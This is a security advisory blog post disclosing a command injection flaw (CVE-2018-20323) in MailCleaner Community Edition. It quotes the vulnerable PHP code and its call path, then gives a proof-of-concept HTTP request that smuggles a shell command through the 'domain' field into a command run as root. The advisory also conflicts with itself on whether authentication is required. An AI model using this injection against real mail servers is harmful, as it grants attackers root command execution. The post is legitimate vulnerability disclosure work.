Skip to main content

Advisory | MailCleaner Community Edition Remote Code Execution CVE-2018-20323

In this article, I would like to share a remote code execution vulnerability details of MailCleaner Community Edition product.

Advisory Informations

Remotely Exploitable: Yes
Authentication Required: NO
Vendor URL: https://www.mailcleaner.net/
Date of found: 19 Dec 2018

Technical Details

I identified command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root.

Logs.php file which located at www/soap/application/MCSoap has a vulnerability command execution code flow between lines 45-49 (following section)

static public function Logs_StartTrace($params) {

		$trace_id = 0;

		require_once('MailCleaner/Config.php');
		$mcconfig = MailCleaner_Config::getInstance();

		if (!isset($params['regexp'])
		|| !$params['datefrom'] || !preg_match('/^\d{8}$/', $params['datefrom'])
		|| !$params['dateto'] || !preg_match('/^\d{8}$/', $params['dateto']) ) {
			return array('trace_id' => $trace_id);
		}
		$cmd = $mcconfig->getOption('SRCDIR')."/bin/search_log.pl ".$params['datefrom']." ".$params['dateto']." '".$params['regexp']."'";
		if (isset($params['filter']) && $params['filter'] != '') {
			$cmd .= " '".$params['filter']."'";
		}

                if (isset($params['hiderejected']) && $params['hiderejected']) {
                    $cmd .= ' -R ';
                }

		if (isset($params['trace_id']) && $params['trace_id']) {
			$trace_id = $params['trace_id'];
		} else {
			$trace_id = md5(uniqid(mt_rand(), true));
		}
                $cmd .= " -B ".$trace_id;

		$cmd .= "> ".$mcconfig->getOption('VARDIR')."/run/mailcleaner/log_search/".$trace_id." &";
		$res = `$cmd`;
		return array('trace_id' => $trace_id, 'cmd' => $cmd) ;
	}

As you can see, lines between 20-28 there is an operating system command execution flow. If you look at the code carefully, you can see parameters like filter has been used without validation within the command.

I’ve followed all the code flows where Logs_StartTrace has been used. One of these usage was interesting;

	public function startFetchAll($params) {
		$trace_id = 0;
		$slave = new Default_Model_Slave();
        $slaves = $slave->fetchAll();
        
        foreach ($slaves as $s) {
        	$res = $s->sendSoapRequest('Logs_StartTrace', $params);
        	if (isset($res['trace_id'])) {
        		$trace_id = $res['trace_id'];
                $params['trace_id'] = $trace_id;
        	} else {
                        continue;
        	}
        }
        return $trace_id;
	}

As you can see, our method where we have an issue is being called through soap service.

Further analysis showed that startFecthAll method has been used within ManagetracingController like follow.

public function searchAction() {
        // ... OMITTED CODE ...
    $view->loading = $loading;
    $view->params = $this->getSearchParams();
        
    $orderfield = 'date';
    $orderorder = 'desc';
        // ... OMITTED CODE ...
    }
    if (isset($session->trace_id) && $session->trace_id) {
        // ... OMITTED CODE ...
    } else {
        ## no search running, launch search
        if ($request->getParam('domain') != "") {
            $trace_id = $element->startFetchAll($params);
            $session->trace_id = $trace_id;
        }
        $view->loading = 1;
    }

Proof Of Concept

Following HTTP request successfully triggered vulnerability.

POST /admin/managetracing/search/search HTTP/1.1
Host: 12.0.0.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32;
Content-Type: application/x-www-form-urlencoded
Content-Length: 576

search=bMrpc&domain=';sleep 100;%26&submit=1

Metasploit Module

As usual 🎉

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.